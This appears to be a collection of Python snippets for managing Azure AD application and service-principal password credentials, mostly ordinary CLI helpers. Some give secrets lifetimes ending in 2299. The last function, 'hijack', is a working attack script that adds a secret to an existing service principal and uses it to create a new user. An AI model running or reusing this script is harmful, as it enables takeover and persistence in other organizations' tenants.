def create_aad_user(credentials, tenant_id, **kwargs): """ Create an AAD application and service principal :param credentials: msrestazure.azure_active_directory.AdalAuthentication :param tenant_id: str :param **application_name: str """ graph_rbac_client = GraphRbacManagementClient( credentials, tenant_id, base_url=AZURE_PUBLIC_CLOUD.endpoints.active_directory_graph_resource_id) application_credential = uuid.uuid4() try: display_name = kwargs.get("application_name", DefaultSettings.application_name) application = graph_rbac_client.applications.create( parameters=ApplicationCreateParameters( available_to_other_tenants=False, identifier_uris=["http://{}.com".format(display_name)], display_name=display_name, password_credentials=[ PasswordCredential( start_date=datetime(2000, 1, 1, 0, 0, 0, 0, tzinfo=timezone.utc), end_date=datetime(2299, 12, 31, 0, 0, 0, 0, tzinfo=timezone.utc), value=application_credential, key_id=uuid.uuid4()) ])) service_principal = graph_rbac_client.service_principals.create( ServicePrincipalCreateParameters(app_id=application.app_id, account_enabled=True)) except GraphErrorException as e: if e.inner_exception.code == "Request_BadRequest": application = next( graph_rbac_client.applications.list( filter="identifierUris/any(c:c eq 'http://{}.com')".format(display_name))) confirmation_prompt = "Previously created application with name {} found. "\ "Would you like to use it? (y/n): ".format(application.display_name) prompt_for_confirmation(confirmation_prompt, e, ValueError("Response not recognized. Please try again.")) password_credentials = list( graph_rbac_client.applications.list_password_credentials(application_object_id=application.object_id)) password_credentials.append( PasswordCredential( start_date=datetime(2000, 1, 1, 0, 0, 0, 0, tzinfo=timezone.utc), end_date=datetime(2299, 12, 31, 0, 0, 0, 0, tzinfo=timezone.utc), value=application_credential, key_id=uuid.uuid4())) graph_rbac_client.applications.patch( application_object_id=application.object_id, parameters=ApplicationUpdateParameters(password_credentials=password_credentials)) service_principal = next( graph_rbac_client.service_principals.list(filter="appId eq '{}'".format(application.app_id))) else: raise e return application.app_id, service_principal.object_id, str(application_credential)
def _build_application_creds(password=None, key_value=None, key_type=None,#pylint: disable=too-many-arguments key_usage=None, start_date=None, end_date=None): if password and key_value: raise CLIError('specify either --password or --key-value, but not both.') if not start_date: start_date = datetime.datetime.utcnow() elif isinstance(start_date, str): start_date = dateutil.parser.parse(start_date) if not end_date: end_date = start_date + relativedelta(years=1) elif isinstance(end_date, str): end_date = dateutil.parser.parse(end_date)#pylint: disable=redefined-variable-type key_type = key_type or 'AsymmetricX509Cert' key_usage = key_usage or 'Verify' password_creds = None key_creds = None if password: password_creds = [PasswordCredential(start_date, end_date, str(uuid.uuid4()), password)] elif key_value: key_creds = [KeyCredential(start_date, end_date, key_value, str(uuid.uuid4()), key_usage, key_type)] return (password_creds, key_creds)
def refresh_application_credentials(self, object_id): password = uuid.uuid4() key_id = uuid.uuid4() start_date = datetime.datetime.utcnow() end_date = datetime.datetime(2299, 12, 31, tzinfo=datetime.timezone.utc) try: credentials = list(self.client.applications.list_password_credentials(object_id)) except GraphErrorException as e: logger.error(e.message) raise # keys created with older version of cli are not updatable # https://github.com/Azure/azure-sdk-for-python/issues/18131 for c in credentials: if c.custom_key_identifier is None: raise BadRequestError("Cluster AAD application contains a client secret with an empty identifier.\n\ Please either manually remove the existing client secret and run `az aro update --refresh-credentials`, \n\ or manually create a new client secret and run `az aro update --client-secret <ClientSecret>`.") # when appending credentials ALL fields must be present, otherwise # azure gives ambiguous errors about not being able to update old keys credentials.append(PasswordCredential( custom_key_identifier=str(start_date).encode(), # bytearray key_id=str(key_id), start_date=start_date, end_date=end_date, value=password)) self.client.applications.update_password_credentials(object_id, credentials) return password
def create_application(self, display_name): password = uuid.uuid4() start_date = datetime.datetime.utcnow() end_date = datetime.datetime(2299, 12, 31, tzinfo=datetime.timezone.utc) app = self.client.applications.create( ApplicationCreateParameters( display_name=display_name, identifier_uris=[ self.MANAGED_APP_PREFIX + str(uuid.uuid4()), ], password_credentials=[ PasswordCredential( custom_key_identifier=str(start_date).encode(), start_date=start_date, end_date=end_date, value=password, ), ], )) return app, password
def create_application(self, display_name): password = uuid.uuid4() try: end_date = datetime.datetime(2299, 12, 31, tzinfo=datetime.timezone.utc) except AttributeError: end_date = datetime.datetime(2299, 12, 31) app = self.client.applications.create( ApplicationCreateParameters( display_name=display_name, identifier_uris=[ self.MANAGED_APP_PREFIX + str(uuid.uuid4()), ], password_credentials=[ PasswordCredential( end_date=end_date, value=password, ), ], )) return app, password
def create_service_principal(name=None, secret=None, years=1): '''create a service principal you can use with login command :param str name: an unique uri. If missing, the command will generate one. :param str secret: the secret used to login. If missing, command will generate one. :param str years: Years the secret will be valid. ''' start_date = datetime.datetime.now() app_display_name = 'azure-cli-' + start_date.strftime('%Y-%m-%d-%H-%M-%S') if name is None: name = 'http://' + app_display_name key_id = str(uuid.uuid4()) end_date = start_date + relativedelta(years=years) secret = secret or str(uuid.uuid4()) app_cred = PasswordCredential(start_date, end_date, key_id, secret) app_create_param = ApplicationCreateParameters( False, app_display_name, 'http://' + app_display_name, [name], password_credentials=[app_cred]) profile = Profile() cred, _, tenant = profile.get_login_credentials(for_graph_client=True) client = GraphRbacManagementClient(cred, tenant) #pylint: disable=no-member aad_application = client.applications.create(app_create_param) aad_sp = client.service_principals.create(aad_application.app_id, True) _build_output_content(name, aad_sp.object_id, secret, tenant)
def create_password(self, old_passwords): def gen_guid(): return uuid.uuid4() if self.value is None: self.fail( "when creating a new password, module parameter value can't be None" ) start_date = datetime.datetime.now(datetime.timezone.utc) end_date = self.end_date or start_date + relativedelta(years=1) value = self.value key_id = self.key_id or str(gen_guid()) new_password = PasswordCredential(start_date=start_date, end_date=end_date, key_id=key_id, value=value, custom_key_identifier=None) old_passwords.append(new_password) try: client = self.get_graphrbac_client(self.tenant) app_patch_parameters = ApplicationUpdateParameters( password_credentials=old_passwords) client.applications.patch(self.app_object_id, app_patch_parameters) new_passwords = self.get_all_passwords() for pd in new_passwords: if pd.key_id == key_id: self.results['changed'] = True self.results.update(self.to_dict(pd)) except GraphErrorException as ge: self.fail("failed to create new password: {0}".format(str(ge)))
def _build_password_credential(password, years): years = years or 1 start_date = datetime.datetime.now(TZ_UTC) end_date = start_date + relativedelta(years=years) from azure.graphrbac.models import PasswordCredential return PasswordCredential(start_date=start_date, end_date=end_date, key_id=str(_gen_guid()), value=password)
def reset_service_principal_credential(name, password=None, create_cert=False, cert=None, years=1): '''reset credential, on expiration or you forget it. :param str name: the name, can be the app id uri, app id guid, or display name :param str password: the password used to login. If missing, command will generate one. :param str cert: PEM formatted public certificate. Do not include private key info. :param str years: Years the password will be valid. ''' client = _graph_client_factory() # pylint: disable=no-member # look for the existing application query_exp = "servicePrincipalNames/any(x:x eq \'{0}\') or displayName eq '{0}'".format(name) aad_sps = list(client.service_principals.list(filter=query_exp)) if not aad_sps: raise CLIError("can't find a service principal matching '{}'".format(name)) if len(aad_sps) > 1: raise CLIError( 'more than one entry matches the name, please provide unique names like app id guid, or app id uri') # pylint: disable=line-too-long app = show_application(client.applications, aad_sps[0].app_id) # build a new password/cert credential and patch it public_cert_string = None cert_file = None if len([x for x in [cert, create_cert, password] if x]) > 1: raise CLIError('Usage error: --cert | --create-cert | --password') if create_cert: public_cert_string, cert_file = _create_self_signed_cert(years) elif cert: public_cert_string = cert else: password = password or str(uuid.uuid4()) start_date = datetime.datetime.utcnow() end_date = start_date + relativedelta(years=years) key_id = str(uuid.uuid4()) app_creds = [PasswordCredential(start_date, end_date, key_id, password)] if password else None cert_creds = [KeyCredential(start_date, end_date, public_cert_string, str(uuid.uuid4()), usage='Verify', type='AsymmetricX509Cert')] if public_cert_string else None # pylint: disable=line-too-long app_create_param = ApplicationUpdateParameters(password_credentials=app_creds, key_credentials=cert_creds) client.applications.patch(app.object_id, app_create_param) result = { 'appId': app.app_id, 'password': password, 'name': name, 'tenant': client.config.tenant_id } if cert_file: result['fileWithCertAndPrivateKey'] = cert_file return result
def _build_application_creds(password=None, key_value=None, key_type=None, key_usage=None, start_date=None, end_date=None): if password and key_value: raise AzCLIError( "specify either --password or --key-value, but not both.") if not start_date: start_date = datetime.datetime.utcnow() elif isinstance(start_date, str): start_date = dateutil.parser.parse(start_date) if not end_date: end_date = start_date + relativedelta(years=1) elif isinstance(end_date, str): end_date = dateutil.parser.parse(end_date) key_type = key_type or "AsymmetricX509Cert" key_usage = key_usage or "Verify" password_creds = None key_creds = None if password: password_creds = [ PasswordCredential(start_date=start_date, end_date=end_date, key_id=str(uuid.uuid4()), value=password) ] elif key_value: key_creds = [ KeyCredential( start_date=start_date, end_date=end_date, value=key_value, key_id=str(uuid.uuid4()), usage=key_usage, type=key_type, ) ] return (password_creds, key_creds)
def addClientSecret(self, key): appObjId = self.getAppObjId() if appObjId is None: return passwordCredential = PasswordCredential( start_date=datetime.datetime.now(), end_date="2299-12-31T06:08:04.0863895Z", value=key) credentials = [ c for c in self.getGraphRbacClient().applications. list_password_credentials(appObjId) ] credentials.append(passwordCredential) self.getGraphRbacClient().applications.update_password_credentials( appObjId, credentials)
def add_application_password_legacy(app_object_id: UUID) -> Tuple[str, str]: key = str(uuid4()) password = str(uuid4()) client = get_graph_client() password_cred = [ PasswordCredential( start_date="%s" % datetime.now(TZ_UTC).strftime("%Y-%m-%dT%H:%M.%fZ"), end_date="%s" % (datetime.now(TZ_UTC) + timedelta(days=365)).strftime( "%Y-%m-%dT%H:%M.%fZ" ), key_id=key, value=password, ) ] client.applications.update_password_credentials(app_object_id, password_cred) return (key, password)
def reset_service_principal_credential(name, password=None, years=1): '''reset credential, on expiration or you forget it. :param str name: the uri representing the name of the service principal :param str password: the password used to login. If missing, command will generate one. :param str years: Years the password will be valid. ''' client = _graph_client_factory() #pylint: disable=no-member #look for the existing application query_exp = 'identifierUris/any(x:x eq \'{}\')'.format(name) aad_apps = list(client.applications.list(filter=query_exp)) if not aad_apps: raise CLIError( 'can\'t find an application matching \'{}\''.format(name)) #no need to check 2+ matches, as app id uri is unique app = aad_apps[0] #look for the existing service principal query_exp = 'servicePrincipalNames/any(x:x eq \'{}\')'.format(name) aad_sps = list(client.service_principals.list(filter=query_exp)) if not aad_sps: raise CLIError( 'can\'t find a service principal matching \'{}\''.format(name)) #build a new password credential and patch it password = password or str(uuid.uuid4()) start_date = datetime.datetime.now() end_date = start_date + relativedelta(years=years) key_id = str(uuid.uuid4()) app_cred = PasswordCredential(start_date, end_date, key_id, password) app_create_param = ApplicationUpdateParameters( password_credentials=[app_cred]) client.applications.patch(app.object_id, app_create_param) return { 'appId': app.app_id, 'password': password, 'name': name, 'tenant': client.config.tenant_id }
def reset_service_principal_credential(name, secret=None, years=1): '''reset credential, on expiration or you forget it. :param str name: the uri representing the name of the service principal :param str secret: the secret used to login. If missing, command will generate one. :param str years: Years the secret will be valid. ''' profile = Profile() cred, _, tenant = profile.get_login_credentials(for_graph_client=True) client = GraphRbacManagementClient(cred, tenant) #pylint: disable=no-member #look for the existing application query_exp = 'identifierUris/any(x:x eq \'{}\')'.format(name) aad_apps = list(client.applications.list(filter=query_exp)) if not aad_apps: raise CLIError( 'can\'t find a graph application matching \'{}\''.format(name)) #no need to check 2+ matches, as app id uri is unique app = aad_apps[0] #look for the existing service principal query_exp = 'servicePrincipalNames/any(x:x eq \'{}\')'.format(name) aad_sps = list(client.service_principals.list(filter=query_exp)) if not aad_sps: raise CLIError( 'can\'t find an service principal matching \'{}\''.format(name)) sp_object_id = aad_sps[0].object_id #build a new password credential and patch it secret = secret or str(uuid.uuid4()) start_date = datetime.datetime.now() end_date = start_date + relativedelta(years=years) key_id = str(uuid.uuid4()) app_cred = PasswordCredential(start_date, end_date, key_id, secret) app_create_param = ApplicationUpdateParameters( password_credentials=[app_cred]) client.applications.patch(app.object_id, app_create_param) _build_output_content(name, sp_object_id, secret, tenant)
def createApp(self, key, appName): passwordCredential = PasswordCredential(start_date=datetime.datetime.now(), end_date="2299-12-31T06:08:04.0863895Z", value=key ) resourceAccess = self.__getResourceAccessJson(); if len(resourceAccess) == 0: raise Exception("No resource accesses found") parameters = ApplicationCreateParameters(available_to_other_tenants=False, display_name=appName, homepage=self.__identifierUrl, identifier_uris=[self.__identifierUrl], required_resource_access=resourceAccess, password_credentials=[passwordCredential]) application = self.getGraphRbacClient().applications.create(parameters) logging.info("Created App with id: " + application.app_id) return application.app_id
def reset_service_principal_credential(name, password=None, years=1): '''reset credential, on expiration or you forget it. :param str name: the name, can be the app id uri, app id guid, or display name :param str password: the password used to login. If missing, command will generate one. :param str years: Years the password will be valid. ''' client = _graph_client_factory() #pylint: disable=no-member #look for the existing application query_exp = "servicePrincipalNames/any(x:x eq \'{0}\') or displayName eq '{0}'".format( name) aad_sps = list(client.service_principals.list(filter=query_exp)) if not aad_sps: raise CLIError( "can't find a service principal matching '{}'".format(name)) if len(aad_sps) > 1: raise CLIError('more than one entry matches the name, please provide unique names like app id guid, or app id uri') #pylint: disable=line-too-long app = show_application(client.applications, aad_sps[0].app_id) #build a new password credential and patch it password = password or str(uuid.uuid4()) start_date = datetime.datetime.utcnow() end_date = start_date + relativedelta(years=years) key_id = str(uuid.uuid4()) app_cred = PasswordCredential(start_date, end_date, key_id, password) app_create_param = ApplicationUpdateParameters( password_credentials=[app_cred]) client.applications.patch(app.object_id, app_create_param) return { 'appId': app.app_id, 'password': password, 'name': name, 'tenant': client.config.tenant_id }
def reset_service_principal_credential(name, password=None, create_cert=False, cert=None, years=None, keyvault=None): import pytz client = _graph_client_factory() # pylint: disable=no-member years = years or 1 # look for the existing application query_exp = "servicePrincipalNames/any(x:x eq \'{0}\') or displayName eq '{0}'".format(name) aad_sps = list(client.service_principals.list(filter=query_exp)) if not aad_sps: raise CLIError("can't find a service principal matching '{}'".format(name)) if len(aad_sps) > 1: raise CLIError( 'more than one entry matches the name, please provide unique names like ' 'app id guid, or app id uri') app = show_application(client.applications, aad_sps[0].app_id) app_start_date = datetime.datetime.now(pytz.utc) app_end_date = app_start_date + relativedelta(years=years or 1) # build a new password/cert credential and patch it public_cert_string = None cert_file = None password, public_cert_string, cert_file, cert_start_date, cert_end_date = \ _process_service_principal_creds(years, app_start_date, app_end_date, cert, create_cert, password, keyvault) app_start_date, app_end_date, cert_start_date, cert_end_date = \ _validate_app_dates(app_start_date, app_end_date, cert_start_date, cert_end_date) app_creds = None cert_creds = None if password: app_creds = [ PasswordCredential( start_date=app_start_date, end_date=app_end_date, key_id=str(uuid.uuid4()), value=password ) ] if public_cert_string: cert_creds = [ KeyCredential( start_date=app_start_date, end_date=app_end_date, value=public_cert_string, key_id=str(uuid.uuid4()), usage='Verify', type='AsymmetricX509Cert' ) ] app_create_param = ApplicationUpdateParameters(password_credentials=app_creds, key_credentials=cert_creds) client.applications.patch(app.object_id, app_create_param) result = { 'appId': app.app_id, 'password': password, 'name': name, 'tenant': client.config.tenant_id } if cert_file: result['fileWithCertAndPrivateKey'] = cert_file return result
def hijack(username, password, tenant_id, service_principal_id): domain = username.split('@')[1] # Step 0 - authenticate logging.info('Authenticating to Azure with the provided credentials') graphrbac_credentials = UserPassCredentials( username, password, resource='https://graph.windows.net') client = GraphRbacManagementClient(graphrbac_credentials, tenant_id=tenant_id) # Step 1 - get the desired service principal logging.info('Looking for the desired service principal') found = False for s in list(client.service_principals.list()): if s.app_id == service_principal_id: logging.info('Found it - hijacking {} ({})'.format( s.app_display_name, s.app_id)) found = True break if not found: logging.error('Did not find service principal, exiting') return service_principal = client.service_principals.get(object_id=s.object_id) # Step 2 - create new credentials for the service principal logging.info('Creating new credentials for {}'.format(s.app_display_name)) sp_password = '******' new_password = PasswordCredential( value=sp_password, start_date=(datetime.today() - timedelta(days=1)), end_date=(datetime.today() + timedelta(days=365))) client.service_principals.update_password_credentials( object_id=service_principal.object_id, value=[new_password]) logging.info('Set password \"{}\"'.format(sp_password)) hijacked_credentials = ServicePrincipalCredentials( client_id=s.app_id, secret=new_password.value, tenant=tenant_id, resource='https://graph.windows.net') # Step 3 - create a new user with the hijacked service principal credentials logging.info('Using hijacked service principal to create a new user') client = GraphRbacManagementClient(hijacked_credentials, tenant_id=tenant_id) random_uuid = uuid.uuid4() user_name = 'test-{}'.format(random_uuid) user_password = '******' new_user_password = PasswordProfile(password=user_password) logging.info('Creating user {} with password \"{}\"'.format( user_name, user_password)) new_user_parameters = UserCreateParameters( account_enabled=True, display_name=user_name, user_principal_name='{}@{}'.format(random_uuid, domain), mail_nickname=user_name, password_profile=new_user_password) new_user_created = client.users.create(new_user_parameters) logging.info('Done')